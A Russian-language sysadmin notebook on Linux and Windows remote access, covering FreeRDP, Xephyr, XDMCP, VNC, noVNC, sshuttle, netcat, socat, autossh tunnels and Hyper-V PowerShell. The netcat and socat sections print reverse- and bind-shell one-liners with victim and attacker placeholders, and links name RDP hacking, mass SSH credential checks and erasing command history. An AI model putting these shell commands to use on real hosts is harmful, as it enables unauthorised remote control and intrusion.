/sec:nla — принудительное включение аутентификации по протоколу NLA

Итак, моя команда следующая:
freerdp-shadow-cli /sam-file:SAM /sec:nla

Для того, чтобы делиться не всем экраном, а только его частью, используйте опцию /rect:x,y,w,h. Где:

x,y — координаты верхнего левого угла прямоугольника
w — ширина прямоугольника
h — высота прямоугольника

К примеру, чтобы делиться частью экрана 500×500 пикселей с координатами 200,300:
freerdp-shadow-cli /sam-file:SAM /sec:nla /rect:200,300,500,500

Ошибка freerdp-shadow «client authentication failure: -1»
То необходимо создать файл SAM и запустить freerdp-shadow с опциями /sam-file:SAM /sec:nla как это показано выше.


Xnest Xephyr
https://wiki.archlinux.org/index.php/Xorg
https://www.sysadminwiki.ru/wiki/Удалённый_рабочий_стол_Linux
https://xneur.ru/settings
Удаленный доступ по XDMCP (удаленное подключение к рабочему столу) Ubuntu/Debian
Х из init 3
На третьем уровне инициализации/выполнения (init 3) выполнить:
X -query 10.0.0.111

Чтобы запустить вложенный сеанс другой среды рабочего стола:
$ /usr/bin/Xnest :1 -geometry 1024x768+0+0 -ac -name Windowmaker & wmaker -display :1
$ Xephyr :1 -geometry 1024x768+0+0 -ac -name Windowmaker & wmaker -display :1
Это запустит сеанс Window Maker в окне 1024 на 768 в текущем сеансе X.
опция -ac позволяет удалённым клиентам подключаться к вашему X-серверу
$ Xephyr -query localhost -screen 800x600 :1 Если localhost – это XDMCP сервер, 800x600 – требуемое разрешение, а :1 – номер дисплея (можно использовать любой свободный номер)
в одном окне консоли вбить Xephyr :2
в другом xterm -display :2
Xephyr :2 -geometry 1280x1024+0+0 -resizeable &
DISPLAY=:2 fvwm1 &
Xephyr -terminate -query 192.168.1.116 :1 -screen 1280x1024
ssh andy@host.com -XYC “Xephyr :1 -query localhost –screen 800x600”
Xephyr :1 -query 192.168.0.111 -screen 800x600
Xephyr :2 -screen 1024x768+0+0 -resizeable & fluxbox -display :2
Xephyr :2 -geometry 1280x1024+0+0 -resizeable & fluxbox -display :2

XDMCP
Подключение к рабочему столу Linux Ubuntu с использованием XDMCP.
Настройка XDMCP, удаленного подключения к рабочему столу Linux

nano /etc/lightdm/lightdm.conf
Для разрешения TCP-подключений к графическому серверу X11, нужно в файл конфигурации lightdm.conf добавить строку :
xserver-allow-tcp=true

Для разрешения удаленных подключений к менеджеру дисплея нужно добавить секцию
[XDMCPServer]
enabled=true

service lightdm restart
netstat –na | more

XDMCP и принимает входящие подключения на UDP порт 177 (по умолчанию) , а графический сервер (сервер X11 ) – принимает входящие подключения на порт 6000/TCP

Xpra
https://xpra.org/index.html
https://github.com/Xpra-org/xpra
https://wiki.archlinux.org/title/Xpra
https://www.altlinux.org/Xpra
xpra - утилита удаленного запуска графических приложений
https://winswitch.org/downloads/
Учимся переносить запущенные программы с одного компьютера на другой

VNC
TigerVNC
https://docs.slackware.com/howtos:window_managers:vnc
Как настроить и использовать сервер TigerVNC в Linux
sudo apt install tigervnc-standalone-server tigervnc-viewer tigervnc-xorg-extension
vim ~/.vnc/xstartup



vncpasswd # создать пароль для TigerVNC сервера
запуск
vncserver :1 # запустить на 1 виртуальном столе
Пароль для аутентификации на сервере будет взят из файла $HOME/.vnc/passwd

vncserver -list # список запущенных рабочих столов с VNC
vncserver -kill :1 # убить сессию
vncconfig -display :1 -list # список опций VNC
ss -tulp # посмотреть порт запуска
vncviewer -listen 5901 # подключиться
gvncviewer ip_address:1 # адрес:дисплей

x11vns
рецепт 1
Подключаемся к удалённому рабочему столу по VNC на этапе экрана авторизации (GDM, KDM, Lightdm, MDM)

установим x11vnc:
sudo apt-get install x11vnc

Создадим файл с паролем для авторизации:
sudo x11vnc -storepasswd /etc/x11vnc.pass

vnc сервера используют 5900 порт
iptables -A INPUT -p tcp -m tcp --dport 5900 -j ACCEPT
ufw allow 5900

Запустим x11vnc:
sudo x11vnc -display :0 -rfbauth /etc/x11vnc.pass -rfbport 5900 -o /var/log/x11vnc.log

проверим:
vncviewer localhost

service x11vnc start

Быстрая настройка x11vnc
Устанавливаем x11vnc
sudo apt-get install x11vnc

Генерируем пароль для доступа:
x11vnc -storepasswd

При использовании LightDM
После установки x11vnc создайте файл /etc/init/x11vnc.conf, в который добавьте следующий код:



если не работает то
https://qastack.ru/ubuntu/229989/how-to-setup-x11vnc-to-access-with-graphical-login-screen

работающие скрипты:
скрипт гасится сам



нужно гасить pkill x11vnc



запускать как службу
mcedit /lib/systemd/system/x11vnc.service


systemctl daemon-reload
service x11vnc start
service x11vnc status
service x11vnc enable

рецепт 2 попроще, для ubuntu
https://www.crazy-logic.co.uk/projects/computing/how-to-install-x11vnc-vnc-server-as-a-service-on-ubuntu-20-04-for-remote-access-or-screen-sharing

sudo apt-get install lightdm
sudo reboot
sudo apt-get install x11vnc

vi /lib/systemd/system/x11vnc.service



systemctl daemon-reload
systemctl enable x11vnc.service
systemctl start x11vnc.service
systemctl status x11vnc.service


рецепт 3, без systemd
x11vnc -storepasswd "пароль" /etc/x11vnc.pass
sudo chmod ugo+r /etc/x11vnc.pass
sudo -u $USER x11vnc -noxdamage -shared -dontdisconnect -many -noxfixes -rfbauth /etc/x11vnc.pass -auth guess


Как настроить VNC сервер x11vnc

в NetBDS, OpenBSD и FreeBSD:
pkgin install x11vnc
startx -display :0 &
x11vnc -display :0

ошибки
когда light-locker блокирует экран, то видно чёрное окно и не войти
https://bugs.launchpad.net/ubuntu/+source/light-locker/+bug/1287171
https://www.linux.org.ru/forum/admin/12755272
https://www.linux.org.ru/forum/general/13664036/page1#comments
https://github.com/pekmop1024/x11vnc-light-locker/blob/master/usr/local/bin/x11vnc-wrapper

вместо light-locker установить xscreensaver


VNC в веб-браузере
Как получить доступ к удаленному рабочему столу VNC в веб-браузере
качается https://github.com/novnc/noVNC/archive/refs/tags/v1.2.0.tar.gz
в нём есть launch.sh
распаковывается tar -xavf v1.2.0.tar.gz
качается https://github.com/novnc/websockify/archive/refs/tags/v0.11.0.tar.gz в распакованную $HOME/noVNC-1.2.0/utils
распаковывается tar -xavf v1.2.0.tar.gz
переименовывается
mv websockify-0.11.0/ websockify
затем запускается
./utils/launch.sh --vnc 0.0.0.0:5900
распаковать можно куда угодно, например в /opt
открыть в браузере
http://ip_адрес_сервера:6080/vnc.html?host=dit-st-unstable&port=6080
нажать на шестерёнку "Настройки", "Дополнительно", "WebSocket", "Сервер:" - прописать ip_адрес_сервера


VPN
ssh VPN
VPN через SSH
https://www.stunnel.org/
Stunnel на сервере и клиенте

Shellinabox — если вдруг заблокируют SSH
SSH через Xray

Превращаем любой SSH-сервер в полноценный VPN с помощью утилиты sshuttle
sshuttle --dns -r user@ip_сервера_или_доменное_имя 0.0.0.0/0

https://github.com/sshuttle/sshuttle
https://sshuttle.readthedocs.io/en/stable/

pip install sshuttle

создаем скрипт с именем типа vpn.sh:



Здесь eax и 11.22.33.44 нужно заменить на имя пользователя и IP-адрес вашего сервера.

Далее говорим:
chmod u+x ./vpn.sh
sudo ./vpn.sh

… и ждем появления строчки:
client: Connected.

Проверяем, что все работает:
curl https://eax.me/ip/

В ответ должен прийти IP-адрес использованного SSH-сервера. Также проверяем, что используется DNS-сервер, указанный в переменной $DNS:
dig eax.me

В ответ должно прийти что-то вроде:
...
;; Query time: 20 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)

… где 8.8.8.8 — это выбранный нами DNS-сервер. В данном случае это сервер компании Google.

Напоследок вот вам несколько занимательных фактов о sshuttle:

Чтобы все работало, на сервере не требуются ни root, ни sudo;
Утилита не ломается, если попытаться сделать VPN внутри VPN;
Также вы можете использовать ее совместно с OpenVPN или каким-нибудь Tor;

https://github.com/Nyr/openvpn-install
https://github.com/Nyr/wireguard-install
Свой VPN сервер на Wireguard с помощью Docker

OpenVPN
Бесплатный VPN сервер, клиент, и тд
vpn pptp openvpn centos7
настройка клиента openvpn
Генерация ключей OpenVPN

sudo service openvpn start
sudo service openvpn status
sudo service openvpn stop
sudo service openvpn status
ps aux | grep -v grep | grep openvpn

https://www.oracle.com/cloud/free/

Работа с сетевыми дисками
Работа с NFS
1. установите nfs-common
sudo apt install nfs-common
2. сделайте точку монтирования
mkdir -p /media/nfs-server
3.
подключите общий ресурс сервера к каталогу mount SERVER-IP-ADDRESS:/SERVER_SHARE_NAME/ media/nfs-server
mount :/volume1/music /media/nfs-server
4. Просмотрите смонтированный каталог.
ls /media/nfs-server

Если вы хотите сделать этот ресурс постоянно смонтированным, вы можете добавить его в свой /etc/fstab, например
SERVER-IP-ADDRESS:/SERVER_SHARE_NAME/media/nfs-server nfs rw 0 0


проверка открытых портов
netstat -ltup; netstat -lntup; netstat -lntupc
ss -lntu; ss -lntup
nmap -n -Pn -sS -sU -p- localhost
lsof -i; lsof -i :80

netcat передача данных, тестирование соединений
Как использовать Netcat для тестирования соединений TCP и UDP
Как пользоваться netcat (nc), ncat
Обратная инженерия сетевого трафика
Полезные трюки при работе с netcat

Чат между узлами
На первом узле (192.168.1.100):
nc -lp 9000
На втором узле:
nc 192.168.1.100 9000

Реверс-шелл
nc -e /bin/bash -lp 4444
соединиться с удаленного узла:
nc 192.168.1.100 4444

веб-сервер для отображения html странички.
while true; do nc -lp 8888 < index.html; done


UDP передать данные
cat ФАЙЛ | ncat -u -C IP-АДРЕС ПОРТ
получить эти данные
ncat -u -l IP-АДРЕС ПОРТ

TCP передать данные
nc хост порт < filename
{ cat ФАЙЛ1 ФАЙЛ2 ФАЙЛ3 ФАЙЛ4; cat;} | ncat -C IP-АДРЕС ПОРТ
{ cat ФАЙЛ{1..4}; cat;} | ncat -C IP-АДРЕС ПОРТ
приём
nc -l порт > filename

копирование зашифрованного диска
https://habr.com/ru/articles/800455/
# Получатель
nc -l 4444 | pbzip2 -d | dd of=/dev/nvme0n1 obs=1M
# Отправитель
pv /dev/nvme0n1 | pbzip2 -9 | nc DESTIP 4444

Как сделать прокси на виртуальном хостинге
локальном компьютере, в одной консоли запускаем прокси:
ncat -vvv -l 34567 --proxy-type http
и в другой консоли запрос через этот прокси:
curl -s --proxy localhost:34567 'https://hackware.ru'


Socat
Сетевой pivoting: понятие, примеры, техники, инструменты

Шелл
Установка слушателя:
socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane

Подключение к слушателю:
socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337

Обратный шелл
Установка слушателя:
socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0

Подключение к машине атакующего
socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane

Размер терминала
По умолчанию размер терминала довольно мал, как вы можете заметить при запуске команды top или редактировании файлов в текстовом редакторе. Вы можете легко изменить это, используя команду stty -a, чтобы получить размер вашего обычного терминала:
stty -a
speed 38400 baud; rows 57; columns 211; line = 0;

Примените нужный размер к вашему терминалу socat:
stty rows 57 cols 211

ссылки
разница между DE и WM, а также работа в голых иксах
скриншоты в иксах и консоли, разрешение экрана в tty
Установка xrdp на CentOS 7

https://debian-handbook.info/browse/ru-RU/stable/sect.remote-login.html
Настройка сервера VNC и RDP совместно с LightDM
VNC в Linux: настройка сервера и клиента
Всё о RDP: от настройки до взлома
sshprank: массовая проверка учётных данных SSH и быстрый сбор SSH баннеров
https://wiki.x2go.org/doku.php
Организуем себе безопасное рабочее место на удаленной виртуалке при помощи x2go
Настройка Ubuntu Linux в качестве терминального сервера x2go
LTSP: Терминальный сервер на Linux
LTSP: Терминальный сервер на Linux
делаем vim удобным
рабочий стол в консоли
изменение времени файлов, удаление истории посещения и команд в linux

Настройка SSH-тунеля
Есть сервер master с базой данных. Есть другой сервер slave, на котором надо настроить репликацию базы данных. И есть проблема: на сервере master закрыты все порты, кроме 22 (ssh).

Как одно из решений можно сделать тунель по SSH от сервера slave до сервера master, и внутри этого тунеля пересылать пакеты для репликации базы.

В самом простом случае ssh-тунель создается командой:

ssh -L 33060:localhost:3306 -i /home/user/.ssh/id_rsa -f -N user@slave.domain

где

  • f - выполнять в фоне.

  • i - путь до ключа, по которому будет происходить авторизация на сервере master.

  • N - не выполнять никаких команд. Я так понимаю, если вдруг в сценариях logon на сервере master заданы
    какие-то команды - выполнение их пропускается.

  • L - задаёт port forwarding. В данном случае, локальный порт 33060 на сервере slave мапится на локальный
    порт 3306 на сервере master.


Используя только эту команду нужно следить за работоспособностью этого ssh-тунеля. Для автоматизации этого процесса есть утилита autossh, которая следит за тем, что тунель работает, и в противном слуае запускает его заново.



  • M - задает порт мониторинга. По этим портам происходит проверка работоспособности тунеля. 0 отключит мониторинг, а autossh перезапустит ssh только при выходе из ssh.

  • o - задание дополнительных опций.

  • L - маппинг портов.

  • i - путь к ключу, по которому будет происходить авторизация при подключении к серверу master.

  • N - не выполнять команд при подключении.

  • f - выполнять в фоне. Этот параметр не передается в ssh, а выполнение в фоне обеспечивает сама утилита autossh.


Но эту команду придется выполнять всякий раз после перезагрузки системы. Теперь надо настроить запуск этой команды при загрузке системы. Это можно сделать используя systemd.

  1. Создаем сервис. Для этого создаем файл

    sudo vi /etc/systemd/system/autossh-mysql-tunnel.service

    со следующим содержанием



    Параметр -f можно не использовать, так как systemd не понимает этот параметр.

  2. Перезагружаем systemd, чтобы сервис стал доступен:
    sudo systemctl daemon-reload

  3. Запускаем сервис и помещаем его в автозагрузку:
    sudo systemctl start autossh-mysql-tunnel.service
    sudo systemctl enable autossh-mysql-tunnel.service

  4. Проверить статус можно с помощью команды:
    sudo systemctl status autossh-mysql-tunnel

    В результате, должны получить примерно такой вывод:
    ●  autossh-mysql-tunnel.service - AutoSSH tunnel service for  MySQL on local port 33066
         Loaded: loaded (/etc/systemd/system/autossh-mysql-tunnel.service; enabled; vendor preset: enabled)
         Active: active (running) since Thu 2019-02-28 16:10:49 MSK; 5h 2min ago
       Main PID: 1076 (autossh)
          Tasks: 2
         Memory: 5.6M
            CPU: 5.528s
         CGroup: /system.slice/autossh-mysql-tunnel.service
                 ├─1076 /usr/lib/autossh/autossh -M 0 -o ServerAliveInterval 30 -o ServerAliveCountMax 3 -L 33060:localhost:3306 -i /home/user/.ssh/id_rsa -N user@slave.domain
                 └─1092 /usr/bin/ssh -o ServerAliveInterval 30 -o ServerAliveCountMax 3 -L 33060:localhost:3306 -i /home/user/.ssh/id_rsa -N user@slave.domain
    

Полезные ссылки:

  1. StackOverflow

  2. Creating a persistent ssh tunnel in Ubuntu

  3. Start AutoSSH on Boot

  4. Магия SSH

  5. SSH TUNNELLING FOR FUN AND PROFIT: AUTOSSH



Как настроить постоянно работающий SSH-туннель
Иногда в работе над проектами приходится прибегать к уловкам для организации сетевых доступов. В тех случаях, когда согласован SSH с поддержкой перенаправления портов, альтернативным способом организации доступа становится SSH-туннель.

Рассмотрим пример создания такого туннеля с поддержанием работы с помощью systemd.
Представим, что есть два сервера: сервер A (alice.example.com) с IP-адресом 10.0.0.1
и B (bob.example.com) с IP-адресом 10.0.0.2. Задача: пробросить порт 3128/tcp с
сервера B на сервер A для доступа к HTTP-прокси.

Настройка

Перед началом убедитесь, что Port Forwarding разрешён на сервере: включите опцию AllowTcpForwarding. Подробнее об использовании перенаправлении TCP-портов в справке sshd_config(5).

Далее заводим непривилегированного пользователя autossh на обоих серверах. Этот пользователь будет подключаться к серверу B, а там, в свою очередь, аутентифицироваться и перенаправлять порт.

sudo useradd -m -d /home/autossh/ -s /bin/bash autossh

Генерируем пару закрытого и открытого ключей (RSA 4096 бит) на сервере A. В 2019 году 4096 бит достаточно для обеспечения должного уровня безопасности, не опасаясь подбора ключа. Вероятно, если вы читаете эту заметку в будущем, увеличьте размер ключа до 8192 бит или выше. Парольную фразу указывать не нужно.



Копируем текст публичного ключа в файл /home/autossh/.ssh/authorized_keys вручную или с помощью ssh-copy-id(1) на сервер B. Это позволит пользователю autossh аутентифицироваться по нему при подключении.



Проверяем подключение к серверу B. Продолжаем, если всё в порядке.

ssh -i /home/autossh/.ssh/ident/ident@bob.example.com autossh@bob.example.com

Конфигурируем SSH-клиент на сервере A.
# vim /home/autossh/.ssh/config



Создаём systemd-юнит. Обратите внимание на символ @ в названии: после него может быть указан параметр для юнита. Конфигурация шаблонизируется спецификаторами, описанными в документации к systemd.unit.
# sudo vim /usr/lib/systemd/system/autossh@.service



Применяем изменения.

sudo systemctl daemon-reload

Запускаем юнит и добавляем в автозапуск. Имя параметра соответствует названию профиля SSH-клиента в $HOME/.ssh/config.

sudo systemctl start autossh@b-example-com-proxy.service
sudo systemctl enable autossh@b-example-com-proxy.service

Готово. Проверяем перенаправление портов на сервере A.

cat < /dev/null > /dev/tcp/10.0.0.1/3128 && echo OK || echo NOK

Отладить подключение можно либо из-под пользователя autossh, либо добавив -vvv в systemd-юнит. Приведённое выше работает и для LocalForward для перенаправления порта с удалённого сервера на локальный. Легко комбинировать с и другими возможностями SSH, когда в цепочке несколько узлов.

https://github.com/aktos-io/link-with-server
Создание SSH-туннеля. Часть третья
SSH-туннели — пробрасываем порт




sconfig # штатная утилита для быстрой начальной настройки Windows Server

https://technet.microsoft.com/ru-ru/library/hh848559.aspx

Get-Help
Get-Help New-VM –Detailed
Get-Help New-VM -Examples

Get-Command -Module Storage
Get-Command -Verb *Get* -Module Storage

Get-VMSwitch
Get-NetIPConfiguration –Detailed

Get-NetAdapter # Узнаем под какими именами фигурируют адаптеры.
Get-NetIPConfiguration # Смотрим текущую конфигурацию IP на сетевых интерфейсах

Назначаем статическую адресацию, маску сети, шлюз по умолчанию и адреса DNS серверов.
InterfaceIndex сетевого адаптера берем из вывода предыдущего командлета.

New-NetIPAddress -InterfaceIndex 13 -IPAddress 192.168.1.5 -DefaultGateway 192.168.1.1 -PrefixLength 24

Set-DnsClientServerAddress -InterfaceIndex 13 -ServerAddresses 192.168.1.2,192.168.1.3

Вывести состояние конкретной ВМ в более менее удобочитаемом виде можно такой командой:

Get-VM -Name Win7_ZKAcces | fl

А для вывода всех имеющихся характеристик ВМ можно сделать так:

Get-VM -Name Win7_ZKAcces | fl *

https://blogs.msdn.microsoft.com/virtual_pc_guy/2015/05/18/using-powershell-to-get-vm-ip-addresses/




Get-Command –Module Hyper-V
Get-Service VMMS
Get-Disk # Получить информацию об установленных жестких дисках
Get-VM # статус виртуалок
Stop-VM Win7_ZKAcces # Остановить виртуалку Win7_ZKAcces
Start-VM Win7_ZKAcces # Запустить виртуалку Win7_ZKAcces
Start-VM –Name web* # Запустить все виртуальные машины, имена которых начинаются с «web»

С помощью ключа Force мы принудительно завершим работу ВМ, не смотря на незавершенные процессы:
Stop-VM -Name WKS81 -Force
Для выключения питания используем ключ TurnOff, и ключ Save для сохранение состояния ВМ:
Stop-VM -Name WKS81 -TurnOff
Stop-VM -Name WKS81 -Save

Создать новую виртуальную машину под названием MyVM

New-VM -Name MyVM –MemoryStartupBytes 1GB -NewVHDPath c:MSVMsMyVM.vhd -NewVHDSizeBytes 60GB

New-VM –Name Test # Создать новую виртуальную машину с именем «test»

Создать новый виртуальный жесткий диск по пути d:\VHDs\test.vhd

New-VHD –Path F:\VHDs\test.vhd


Подключить виртуальный сетевой адаптер на виртуальной машине «test» к коммутатору «QA».

Connect-VMNetworkAdapter –VMName test –SwitchName QA

Экспортировать «на лету» виртуалку Win7_ZKAcces в папку F:\virt\clone\Win7_ZKAcces\23-09-2016 (сделать бакап)

Export-VM –Name Win7_ZKAcces –Path F:\virt\clone\Win7_ZKAcces\23-09-2016

Импорт (копирование и генерация нового ID). Для импорта указываем XML-файл конфигурации виртуальной машины, находящийся в папке Virtual Machines:

Import-VM -Path ″C:\VM\Virtual Machines\4596AEB4-AB71-43E2-9B1D-4579B7CFC4D1.xml″ -Copy -GenerateNewID

Переместить «на лету» файл жесткого диска виртуальной машины Win7_ZKAcces из папки F:\serv1c.vhdx в папку D:\Virt\serv1c\serv1c\serv1c.vhdx

Move-VMStorage "Win7_ZKAcces" –VHDs @(@{«SourceFilePath» = «F:\serv1c.vhdx»; «DestinationFilePath» = «D:\Virt\serv1c\serv1c\serv1c.vhdx»})

Увеличить файл жёсткого диска serv1c.vhdx до 85 Гб (виртуальная машина должна быть остановлена)

Resize-VHD –Path F:\serv1c.vhdx –SizeBytes 85GB

Получить информацию о разделах жесткого диска под номером 1

Get-Partition -DiskNumber 1

Удалить на жестком диске номер 1 логический раздел номер 2

Remove-Partition -DiskNumber 1 -PartitionNumber 2

Создать на жестком диске номер 1 новый раздел под буквой F, используя всё доступное пространство

New-Partition -DiskNumber 1 -UseMaximumSize -DriveLetter F

Форматировать логический раздел с буквой F в файловую систему NTFS

Format-Volume -DriveLetter F -FileSystem NTFS


Контрольные точки (Checkpoint) позволяют сделать моментальный снимок виртуальной машины,
сохранив ее состояние на определенный момент времени.
создадим для ВМ WKS81 чекпойнт с именем Test:

Checkpoint-VM -VMName WKS81 -Name Test

Просмотрим все имеющиеся у машины чекпойнты:

Get-VMSnapshot -VMName WKS81

Применим созданный чекпойнт

Restore-VMSnapshot -VMName WKS81 -Name Test

И удалим его:

Remove-VMSnapshot -VMName WKS81 -Name Test

переместить хранилище ВМ можно из консоли PowerShell, например для переноса всех файлов машины WKS81 в одно расположение выполним команду:

Move-VMStorage -VMName WKS81 -DestinationStoragePath ″C:\VM″

Экспорт и импорт ВМ

Export-VM -Name WKS81 -Path C:\VM

И импорт (копирование и генерация нового ID). Для импорта указываем XML-файл конфигурации виртуальной машины, находящийся в папке Virtual Machines:

Import-VM -Path ″C:\VM\Virtual Machines\4596AEB4-AB71-43E2-9B1D-4579B7CFC4D1.xml″ -Copy -GenerateNewID


Вывести состояние конкретной ВМ в более менее удобочитаемом виде можно такой командой:

Get-VM -Name WKS81 | fl

А для вывода всех имеющихся характеристик ВМ можно сделать так:

Get-VM -Name WKS7 | fl *

Выключение виртуальной машины осуществляется командлетом Stop-VM с различными ключами. Например, для завершения работы операционной системы ВМ WKS81 воспользуемся командой:

Stop-VM -Name WKS81

С помощью ключа Force мы принудительно завершим работу ВМ, не смотря на незавершенные процессы:

Stop-VM -Name WKS81 -Force

Для выключения питания используем ключ TurnOff, и ключ Save для сохранение состояния ВМ:

Stop-VM -Name WKS81 -TurnOff
Stop-VM -Name WKS81 -Save

Ну а для включения или восстановления состояния используется командлет Start-VM:

Start-VM -Name WKS81

http://www.vmstart.ru/opisaniya-i-czeny/556-nastrojka-hyper-v-server-2012-r2#link1

Проверяем текущую настройку IPv6 на интерфейсе.
Имя интерфейса берем из вывода командлетов Get-NetAdapter или Get-NetIPConfiguration.

Get-NetAdapterBinding -InterfaceDescription "Microsoft Hyper-V Network Adapter" | Where-Object -Property DisplayName -Match IPv6 | Format-Table –AutoSize

Отключить поддержку IPv6 на сетевом адаптере можно командлетом Disable-NetAdapterBinding

Disable-NetAdapterBinding -InterfaceDescription "Microsoft Hyper-V Network Adapter" -ComponentID ms_tcpip6

Настройка межсетевого экрана (Advanced Firewall)

Get-NetFirewallRule | Where-Object -Property DisplayName -Match "firewall" | Format-List -Property Name, DisplayName, Enabled

Включаем оба правила.

Enable-NetFirewallRule -Name RemoteFwAdmin-In-TCP,RemoteFwAdmin-RPCSS-In-TCP

добавить на Hyper-V Server в доверенные узлы WinRM на хосте управления и обновить текущее состояние в ServerManager.

Set-Item wsman:\localhost\Client\TrustedHosts HYPER-V01 -Concatenate –Force


Модуль Hyper-V для Windows PowerShell


https://technet.microsoft.com/ru-ru/library/hh846767(v=ws.11).aspx



ссылка для скачивания всех компонентов System Center 2012 RC.

https://technet.microsoft.com/library/hh546785(v=sc.12).aspx
документация из библиотеки Technet по System Center 2012 Virtual Machine Manager.
http://technet.microsoft.com/en-us/library/gg610610.aspx
курс Microsoft Virtual Academy по System Center 2012 Virtual Machine Manager
http://www.microsoftvirtualacademy.com/tracks/system-center-virtual-machine-manager-2012
Введение в облачные технологии Microsoft
http://www.microsoft.com/microsoftservices/en/us/journey_to_the_cloud.aspx
различные вебкасты по компонентам System Center на Techdays.ru.
http://www.techdays.ru/videos/System%20Center

http://legotin.com/new-features-system-center-2012-vmm/
http://itnotices.ru/klonirovanie-virtualnih-mashin-v-hyper-v/


Клонирование виртуальных машин Hyper-V с использованием PowerShell


1. Экспорт виртуальной машины.

Export-VM -Name SYD-DC -Path 'D:\VMM\Export'


2. Импорт виртуальной машины.

Import-VM -Path 'D:\VMM\Export\SYD-DC\Virtual Machines\4E9FC690-E871-47A1-A783-786A0B604CB4.XML' -VhdDestinationPath 'D:\VMM\VHD\SRV2' -Copy -GenerateNewId


3. Переименовываем виртуальную машину. Для начала узнаем ID клонированной машины.

get-vm | select VMNAME,VMId

Нас интересуют две машины с одинаковым именем, но разными ID. Переименовывать будем машину ID которой отличается от ID импортируемой на шаге 2 машины. Следующий набор команд выполнит переименование. 5F3E5C8D-1280-43ED-8F1E-7274AB3B9643 — это полученный при выполнении предыдущей команды идентификатор.

get-vm | Where-Object {$_.VMId -eq "5F3E5C8D-1280-43ED-8F1E-7274AB3B9643"} | Rename-VM -NewName SRV2


4. Переименовываем виртуальный жесткий диск.

Get-VHD -VMId 5f3e5c8d-1280-43ed-8f1e-7274ab3b9643 | Select Path | Rename-Item -NewName SRV2.vhdx
Remove-VMHardDiskDrive -VMName SRV2 -ControllerType SCSI -ControllerLocation 0 -ControllerNumber 0
Add-VMHardDiskDrive -VMName SRV2 -ControllerType SCSI -ControllerNumber 0 -ControllerLocation 0 -Path 'D:\VMM\VHD\SRV2\SRV2.vhdx'


5. Изменяем MAC адрес для виртуального адаптера виртуальной машины. Здесь может быть два варианта. Первый, это выставить динамическое получение MAC адреса. И, соответственно, второй — это указать MAC в ручную.

Set-VMNetworkAdapter -VMName SRV2 -DynamicMacAddress
Set-VMNetworkAdapter -VMName SRV2 -StaticMacAddress '00-15-5D-80-55-01'
Start-VM -Name SRV2


6. Меняем IP адрес и имя виртуального сервера. К сожалению, у меня не получилось реализовать данные задачи без запуска виртуальной машины. Следующие команды необходимо выполнить непосредственно в консоли powershell виртуального сервера.

Rename-Computer SRV2
Remove-NetIPAddress -InterfaceAlias «Ethernet» -AddressFamily IPV4
New-NetIPAddress -IPAddress 192.168.0.20 -InterfaceAlias «Ethernet» -AddressFamily IPv4 -PrefixLength 24
Restart-Computer



---------------------------------------------------------------------------------------------------
глянуть шары
Get-WmiObject win32_share -Filter "type > '0'"

Тонкости управления компонентами Windows

Windows Admin Center
https://docs.microsoft.com/ru-ru/windows-server/manage/windows-admin-center/overview

Убедитесь, что .NET Framework 4.5.2 или более поздней версии уже установлен на компьютере
https://github.com/Microsoft/dotnet/tree/master/releases/net48

средство восстановления Microsoft .NET Framework
Microsoft .NET Framework Repair Tool
Руководство пользователя инструмента очистки .NET Framework
https://msdnshared.blob.core.windows.net/media/2018/05/dotnetfx_cleanup_tool.zip

Windows Management Framework 5.1
https://www.microsoft.com/en-us/download/details.aspx?id=54616

проверить, что платформа WMF установлена, и что используется версия 5.1 или более поздняя версия.
$PSVersiontable

Выполните команду Enable-PSRemoting –force в консоли PowerShell для включения удаленного подключения PowerShell.
Enable-PSRemoting –force

https://docs.microsoft.com/ru-ru/powershell/wmf/overview
При установке WMF добавляются или обновляются следующие компоненты:
Windows PowerShell
Windows PowerShell Desired State Configuration (DSC)
Интегрированная среда сценариев Windows PowerShell (ISE)
Удаленное управление Windows (WinRM)
Инструментарий управления Windows (WMI)
Веб-службы Windows PowerShell (расширение IIS OData для управления)
Инвентаризация программного обеспечения (SIL)
Поставщик CIM диспетчера сервера

разворачивание Windows Admin Center на core или hyper-v
https://asecurity.dev/2019/03/install-windows-admin-center-on-windows-server-2019-core/
$url = "https://aka.ms/WACDownload"
$output = "c:\wc.msi"

Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output

msiexec /i "c:\wc.msi"


Включение удаленной работы с Powershell
PowerShell. Решение проблем связанных с удалённым подключением (about_Remote_Troubleshooting)


Не удается подключить Hyper-V Server 2019 к домену
из sconfig ошибки не видно, поэтому вручную Add-Computer -DomainName домен выползает "вы не можете подключиться к общей папке smb1"
Enable-WindowsOptionalFeature -Online -FeatureName smb1protocol


Не удается подключить удаленный рабочий стол к Hyper-V Server 2012 R2
http://it-student.com.ua/windows/tips/reshenie-hyper-v-server-2012-r2-ne-rabotaet-rdp.html

Иногда с чистой установки Hyper-V 2012 Server R2 возникает проблема с удаленным подключением. Проблема заключается в следующе - система установлена, подключения к RDP разрешены, но возникает ошибка при подключении к удаленному рабочему столу.

Проблема заключается в блокировке фаерволом подключений. Для того, чтобы разрешить удаленные подключения к вашему Hyper-V серверу выполните в cmd:

cmd
powershell
Enable-NetFirewallRule


После этого, подключение должно пройти. Если этого не случилось - явно разрешите подключения:

Enable-NetFirewallRule -Name "RemoteDesktop-UserMode-In-TCP"
Enable-NetFirewallRule -Name "RemoteDesktop-UserMode-In-UDP"


проблемы с RDP в 2019
https://social.technet.microsoft.com/Forums/ru-RU/c9d82adb-5dd5-4e43-878c-2e98e00c2943/hyperv-server-2019-rdp-not-working
https://www.c-amie.co.uk/technical/create-a-slipstreamed-hyper-v-server-2019-installation-image-with-working-remote-desktop/

http://www.catalog.update.microsoft.com/Search.aspx?q=KB4482887

run gpedit.msc from console
GPO in Comp config > admin templates > Win components > Remote Desktop Services > Remote Desktop Session Host > Connections > to



Close Editor and reboot your server

Интерактивный вход в систему на данном компьютере запрещен локальной политикой
Добавить эту учетную запись в группу “Пользователи удаленного рабочего стола” на виртуальной Windows

Изменение ожидающего порта для удаленного рабочего стола
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\PortNumber


в HYPER-V это не помогло
https://techwire.nl/2018/11/26/access-windows-server-core-2019-through-remote-desktop/

https://www.rootusers.com/how-to-enable-remote-desktop-in-windows-server-2019/
